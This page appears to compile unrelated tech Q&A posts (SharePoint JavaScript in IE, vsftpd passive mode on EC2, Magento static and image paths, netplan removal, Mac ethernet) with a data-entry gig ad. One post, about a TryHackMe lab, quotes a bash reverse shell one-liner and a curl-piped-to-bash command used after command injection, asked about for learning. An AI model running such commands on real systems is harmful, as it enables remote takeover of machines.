2010 – Javascript not working in IE but work works in Chrome

I had a long search and until I found a working script to use the logged in user id. Finally I have found the following Javascript code, put it in XSL to be used in an XMl viewer web part:

<script language="javascript" defer="true">
      <xsl:comment>
        <!(CDATA(

ExecuteOrDelayUntilScriptLoaded(init,'sp.js');
var currentUser;
function init(){
    this.clientContext = new SP.ClientContext.get_current();
    this.oWeb = clientContext.get_web();
    currentUser = this.oWeb.get_currentUser();
    this.clientContext.load(currentUser);
    this.clientContext.executeQueryAsync(Function.createDelegate(this,this.onQuerySucceeded), Function.createDelegate(this,this.onQueryFailed));
}

function onQuerySucceeded() {
}

function onQueryFailed(sender, args) {
    alert('Request failed. nError: ' + args.get_message() + 'nStackTrace: ' + args.get_stackTrace());
}

        ))>
      </xsl:comment>
    </script>

I call the function like this:

<A class="bluelink" href = "javascript:void(0)" onclick="javascript:window.location='{$mailtolink}' + '%0D%0Auserid: ' + currentUser.get_loginName() + '%0D%0Aurl: ' +  window.location; return false;">Request additional rights</A>

The mailtolink variable represents a valid mailto: link. The problem is, that in IE11 (also in IE8 compatibility mode), the mail body ends only with

userid: i:0

However in Chrome, I get all the details I need:

userid: i:0#.w|tdomaintestuser
url: https://myserver/testsite/default.aspx

I made the mail body shorter, to make sure it is not the lenght, but I got the same results.
Can someone give me a hint how to make the script work in IE?

linux – Why my ftp server doesnt work in passive mode but works in active mode?

Trying to setup a FTP server on a EC2.
I have installed vsftp and followed this tutorial

When I try to connect with the -p option I cannot pass any command. Everything is smooth without it.

I have setup vsftpd.conf:

allow_writeable_chroot=YES
pasv_address=<my-ip>
pasv_enable=Yes
pasv_min_port=50000
pasv_max_port=51000
port_enable=YES

And opened the port (20-21 && 50000-51000 using Terraform here)

resource "aws_security_group" "ftp_passive_port" {
  name = "ftp_passive_port"

  description = "Access to FTP passive"
  vpc_id      = aws_vpc.din_vpc.id

  ingress {
    from_port   = 50000
    to_port     = 51000
    protocol    = "tcp"
    cidr_blocks = (...)
  }

  # Allow all outbound traffic.
  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ("0.0.0.0/0")
  }
}

I got this error :

Connected to xxxxxxxx.
220 Welcome to XXXXX FTP service.
Name (xxxxx:qwerty): xxxxxxxxxx
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
227 Entering Passive Mode (0,0,0,0,198,19).
ftp: connect: Connection refused
ftp> bye
221 Goodbye.

imac – Can’t Connect via ethernet on Mac but Wifi works!

Can’t Connect via ethernet on Mac but Wifi works!! Automatic DHCP comes up with Odd IP address and Subnet that doesn’t exist in my range?
Have tried all the standard things restart, remove from list, change cable, check on another computer (have Dell Laptop on desk also) testing cable with it, frustrated!
iMAc 27inch Mid 2011 Running High Sierra! I’m stumped!

magento2.4 – Static content doesn’t load with nginx, works with apache

I’m setting up a staging server for a server that’s already in production and functioning with Apache. My staging I’m setting with nginx because I want to test the performance difference.

When I access the store, no CSS/JS/images get loaded and I get a lot of “not found” on nginx error log.

All errors are like this:

2021/01/22 19:09:18 (error) 248516#248516: *26 open() "/var/www/html/WEBSITE/pub/static/version1611342481/frontend/Nexa/STORE/fr_CA/Magento_Catalog/images/product/placeholder/image.jpg" failed (2: No such file or directory), client: redactedIP, server: http://URL/, request: "GET /pub/static/version1611342481/frontend/Nexa/STORE/fr_CA/Magento_Catalog/images/product/placeholder/image.jpg HTTP/1.1", host: "WEBSITE", referrer: "WEBSITE/category/subcategory/product.html"

(redacted because of NDA)

There’s no folder version1611342481 inside pub/static, but there’s no folder like that as well on production server and it’s working alright. Same code and versions on both.

How can I debug/solve this?

web application – Why a curl piped bash command works but not the direct command?

So im doing some pentesting in a TryHackme box (Chill Hack) and I’ve come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system.

This input has filters so I cannot use bash nor netcat without escaping the command characters.

Messing around I tried getting a reverse shell by using that input with netcat, of course escaped so the command should work.

The problem is the direct command does not work. Checking the walkthrough I’ve seen that the solution is to prepare a Bash shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), set up a web server and curl my attacking machine in order to pipe it to the bash command (Something like this: curl 10.9.223.50/shell.sh | bash)

Doing so provides me with a webshell.

The thing I don’t understand is, why using the exact same command (The bash shell) in the input and escaping characters for avoiding any problem with that the command does not work but it does work when piping through the curl command?

I Will be Perfect Data Entry Works For Your Business for $5

I Will be Perfect Data Entry Works For Your Business

Hi,well come to my gig,
I am here to assist you as a virtual assistant with any kind of data entry, web research.data mining,typing,Microsoft word or excel work with the best services and professional skills, i am available 24*7 online , i am eagerly looking forward to help you.
the services i provide:

data entry{company,website,contact,person,email,phone number and address/location}

  1. data mining,
  2. data scraping
  3. web research
  4. led generation
  5. email list building
  6. LinkedIn marketing
  7. Business info
  8. data conversion
  9. PDF to word
  10. PDF to excel
  11. email management
  12. typing
  13. copy paste
  14. competitor data analysis
  15. keyword research
  16. company business information research
  17. virtual assistant

service is specialist

please send me a message if you have any question and if you have any project to discuss with me,

best regards

Varese.

.

networking – Uninstalled netplan, yet its works

I have a small server on Raspberry Pi 4, Ubuntu 18.04.5 LTS. I use few service (apache, mysql, pihole). I want to setup an OpenVPN bridge (TAP). First thing I realized I have to uninstall netplan and back ifupdown, because netplan doesn’t support virtual interface.

Server IP address is 192.168.15.28/24 static.

I did

sudo apt update
sudo apt install ifupdown
sudo apt purge netplan.io
sudo rm -rf /usr/share/netplan
sudo rm -rf /etc/netplan

I edited /etc/network/interfaces

auto lo eth0
iface lo inet loopback

iface eth0 inet static
address 192.168.15.28
netmask 255.255.255.0
gateway 192.168.15.1
dns-nameservers 192.168.15.1

The bridge interface doesn’t work. I changed IP to 192.168.15.29 and after that I see strange things. Both IP 28 and 29 I can ping. In 192.168.15.28 working web page (apache) although in interfaces I set 29 not 28. I googled more to uninstall netplan (I think I did)

I did this:

ifdown --force eth0 lo && ifup -a
systemctl unmask networking
systemctl enable networking
systemctl restart networking

systemctl stop systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
systemctl disable systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
systemctl mask systemd-networkd.socket systemd-networkd 
networkd-dispatcher systemd-networkd-wait-online
# apt-get --assume-yes purge nplan netplan.io

but still I can ping 192.168.15.28 AND 192.168.15.29

ifconfig output:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.15.29  netmask 255.255.255.0  broadcast 192.168.15.255
        inet6 fe80::e7d2:d506:fb86:6c97  prefixlen 64  scopeid 0x20<link>
        ether dc:a6:32:78:e7:be  txqueuelen 1000  (Ethernet)
        RX packets 5600  bytes 647455 (647.4 KB)
        RX errors 0  dropped 6  overruns 0  frame 0
        TX packets 1872  bytes 1217307 (1.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1190  bytes 76894 (76.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1190  bytes 76894 (76.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether dc:a6:32:78:e7:bf  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

What can I do to get rid of netplan setup and use ifupdown and interfaces?

How does magento product image caching works?

I uploaded some images to my products and they were visible fine on frontend. I then went and deleted those images from pub/media/catalog/product folder and also deleted pub/media/catalog/product/cache folder. When I open the media cache link of product I now see the default placeholder image. The path I use in my browser is media/catalog/product/cache/ca230af9a56e172d8d63e4842d175bbe/k/a/kars.jpg This is no way the path for the placeholder image. So now the question is:

  1. How is magento replacing the deleted image with placeholder image, instead of showing 404?
  2. How is the path not showing 404 since I had deleted those folders?

Thank you for your help.